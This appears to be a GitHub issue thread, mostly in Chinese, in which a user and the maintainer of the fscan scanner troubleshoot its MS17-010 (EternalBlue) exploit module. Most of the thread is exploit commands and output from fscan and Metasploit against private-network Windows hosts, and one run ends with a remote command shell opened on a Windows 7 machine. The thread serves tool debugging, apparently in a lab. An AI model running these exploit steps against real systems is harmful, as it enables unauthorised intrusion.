MS17-010无法利用

[DNLINYJ]

PS D:\tool> & '.\fscan64 (1).exe' -h 192.168.1.95 -m ms17010 -sc add

---

/ _ \ ___ ___ _ __ __ _ | | __ / /// |/ | '/ ` |/ __| |/ / / /\____ \ (__| | | (| | (| < _/ |/_|| _,|___||_
fscan version: 1.8.0 -m ms17010 start scan the port: 445 start infoscan 已完成 0/0 listen ip4:icmp 0.0.0.0: socket: An attempt was made to access a socket in a way forbidden by its access permissions. trying RunIcmp2 The current user permissions unable to send icmp packets start ping (icmp) Target 192.168.1.95 is alive [] Icmp alive hosts len is: 1 192.168.1.95:445 open [] alive ports len is: 1 start vulscan [+] 192.168.1.95 MS17-010 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1) 已完成 1/1 [*] 扫描结束,耗时: 88.0051ms PS D:\tool> & '.\fscan64 (1).exe' -h 192.168.1.95 -m ms17010 -sc guest

---

/ _ \ ___ ___ _ __ __ _ | | __ / /// |/ | '/ ` |/ __| |/ / / /\____ \ (__| | | (| | (| < _/ |/_|| _,|___||_
fscan version: 1.8.0 -m ms17010 start scan the port: 445 start infoscan 已完成 0/0 listen ip4:icmp 0.0.0.0: socket: An attempt was made to access a socket in a way forbidden by its access permissions. trying RunIcmp2 The current user permissions unable to send icmp packets start ping (icmp) Target 192.168.1.95 is alive [] Icmp alive hosts len is: 1 [] alive ports len is: 1 start vulscan 192.168.1.95:445 open [+] 192.168.1.95 MS17-010 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1) 已完成 1/1 [*] 扫描结束,耗时: 89.0051ms

[shadow1ng]

可以使用 -debug 0看看报错。 exp利用函数末尾有， common.LogSuccess("[*] " + info.Host + " MS17-010 exploit end") 这里并没看到，可能是没利用成功

[DNLINYJ]

PS D:\tool> & '.\fscan64 (1).exe' -h 192.168.1.95 -m ms17010 -sc add -debug 0

---

/ _ \ ___ ___ _ __ __ _ | | __ / /// |/ | '/ ` |/ __| |/ / / /\____ \ (__| | | (| | (| < _/ |/_|| _,|___||_
fscan version: 1.8.0 -m ms17010 start scan the port: 445 start infoscan (icmp) Target 192.168.1.95 is alive [] Icmp alive hosts len is: 1 [] alive ports len is: 1 start vulscan 192.168.1.95:445 open [+] 192.168.1.95 MS17-010 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1) 已完成 0/1 failed to send nt trans: write tcp 192.168.17.15:55504->192.168.1.95:445: use of closed network connection 已完成 0/1 [-] Ms17010 192.168.1.95 write tcp 192.168.17.15:55492->192.168.1.95:445: wsasend: An existing connection was forcibly closed by the remote host. 已完成 1/1 [*] 扫描结束,耗时: 36.0021ms

补充：杀软关闭还是一样的情况

[shadow1ng]

你当前环境，用Msf windows/smb/ms17_010_eternalblue能利用成功嘛

[DNLINYJ]

msf6 > use 0 [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.1.95 rhosts => 192.168.1.95 msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[] Started reverse TCP handler on 192.168.17.15:4444 [] 192.168.1.95:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check [+] 192.168.1.95:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Enterprise 7601 Service Pack 1 x64 (64-bit) [] 192.168.1.95:445 - Scanned 1 of 1 hosts (100% complete) [+] 192.168.1.95:445 - The target is vulnerable. [] 192.168.1.95:445 - Connecting to target for exploitation. [+] 192.168.1.95:445 - Connection established for exploitation. [+] 192.168.1.95:445 - Target OS selected valid for OS indicated by SMB reply [] 192.168.1.95:445 - CORE raw buffer dump (53 bytes) [] 192.168.1.95:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2 [] 192.168.1.95:445 - 0x00000010 30 30 38 20 52 32 20 45 6e 74 65 72 70 72 69 73 008 R2 Enterpris [] 192.168.1.95:445 - 0x00000020 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 50 e 7601 Service P [] 192.168.1.95:445 - 0x00000030 61 63 6b 20 31 ack 1 [+] 192.168.1.95:445 - Target arch selected valid for arch indicated by DCE/RPC reply [] 192.168.1.95:445 - Trying exploit with 12 Groom Allocations. [] 192.168.1.95:445 - Sending all but last fragment of exploit packet [-] 192.168.1.95:445 - Errno::ECONNRESET: An existing connection was forcibly closed by the remote host. [] Exploit completed, but no session was created. msf6 exploit(windows/smb/ms17_010_eternalblue) >

[DNLINYJ]

也是远程主机关闭连接 可能是我环境的问题

[shadow1ng]

那估计是当前环境下，ms17_010_eternalblue模块攻击失败。 有些情况下虽然是win7、win2008，但ms17_010_eternalblue也不一定能打

[DNLINYJ]

但是能打的环境 fscan也打不了¯_(ツ)_/¯ PS D:\tool> & '.\fscan64 (1).exe' -h 192.168.16.118 -m ms17010 -sc guest

---

/ _ \ ___ ___ _ __ __ _ | | __ / /// |/ | '/ ` |/ __| |/ / / /\____ \ (__| | | (| | (| < _/ |/_|| _,|___||_
fscan version: 1.8.0 -m ms17010 start scan the port: 445 start infoscan (icmp) Target 192.168.16.118 is alive [] Icmp alive hosts len is: 1 192.168.16.118:445 open [] alive ports len is: 1 start vulscan [+] 192.168.16.118 MS17-010 (Windows 7 Ultimate 7601 Service Pack 1) 已完成 1/1 [*] 扫描结束,耗时: 233.0133ms

[DNLINYJ]

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[] 192.168.16.118:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check [+] 192.168.16.118:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit) [] 192.168.16.118:445 - Scanned 1 of 1 hosts (100% complete) [+] 192.168.16.118:445 - The target is vulnerable. [] 192.168.16.118:445 - Connecting to target for exploitation. [+] 192.168.16.118:445 - Connection established for exploitation. [+] 192.168.16.118:445 - Target OS selected valid for OS indicated by SMB reply [] 192.168.16.118:445 - CORE raw buffer dump (38 bytes) [] 192.168.16.118:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima [] 192.168.16.118:445 - 0x00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service [] 192.168.16.118:445 - 0x00000020 50 61 63 6b 20 31 Pack 1 [+] 192.168.16.118:445 - Target arch selected valid for arch indicated by DCE/RPC reply [] 192.168.16.118:445 - Trying exploit with 12 Groom Allocations. [] 192.168.16.118:445 - Sending all but last fragment of exploit packet [] 192.168.16.118:445 - Starting non-paged pool grooming [+] 192.168.16.118:445 - Sending SMBv2 buffers [+] 192.168.16.118:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. [] 192.168.16.118:445 - Sending final SMBv2 buffers. [] 192.168.16.118:445 - Sending last fragment of exploit packet! [] 192.168.16.118:445 - Receiving response from exploit packet [+] 192.168.16.118:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [] 192.168.16.118:445 - Sending egg to corrupted connection. [] 192.168.16.118:445 - Triggering free of corrupted buffer. [] Started bind TCP handler against 192.168.16.118:4444 [] Sending stage (336 bytes) to 192.168.16.118 [+] 192.168.16.118:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 192.168.16.118:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 192.168.16.118:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [] Command shell session 1 opened (192.168.17.15:60165 -> 192.168.16.118:4444) at 2022-07-05 12:49:07 +0800

Shell Banner: Microsoft Windows [_ 6.1.7601]

C:\Windows\system32>

[shadow1ng]

我刚更新了一下代码和exe。师傅再试试？ 不过fscan m17利用只适用于备选工具,更推荐其他ms17010的专项利用工具

[shadow1ng]

Release里更新了

发自我的iPhone

------------------ 原始邮件 ------------------ 发件人: 菠萝小西瓜 @.> 发送时间: 2022年7月5日 13:06 收件人: shadow1ng/fscan @.> 抄送: 影舞者 @.>, Comment @.> 主题: Re: [shadow1ng/fscan] MS17-010无法利用 (Issue #202)

我刚更新了一下代码和exe。师傅再试试？ 不过fscan m17利用只适用于备选工具,更推荐其他ms17010的专项利用工具

能发下win x64的release吗 本地没有go环境(￣m￣）

— Reply to this email directly, view it on GitHub, or unsubscribe. You are receiving this because you commented.Message ID: @.***>

[DNLINYJ]

Release里更新了

D:\tool> ./main.exe -h 192.168.16.118 -m ms17010 -sc add -debug 0

---

/ _ \ ___ ___ _ __ __ _ | | __ / /// |/ | '/ ` |/ __| |/ / / /\____ \ (__| | | (| | (| < _/ |/_|| _,|___||_
fscan version: 1.8.0 -m ms17010 start scan the port: 445 start infoscan (icmp) Target 192.168.16.118 is alive [] Icmp alive hosts len is: 1 [] alive ports len is: 1 192.168.16.118:445 open start vulscan [+] 192.168.16.118 MS17-010 (Windows 7 Ultimate 7601 Service Pack 1) [] 192.168.16.118 MS17-010 exploit end 已完成 1/1 [] 扫描结束,耗时: 47.0027ms

这么快不合理吧.....

[shadow1ng]

等下个月有空再分析分析payload了。这模块比较难搞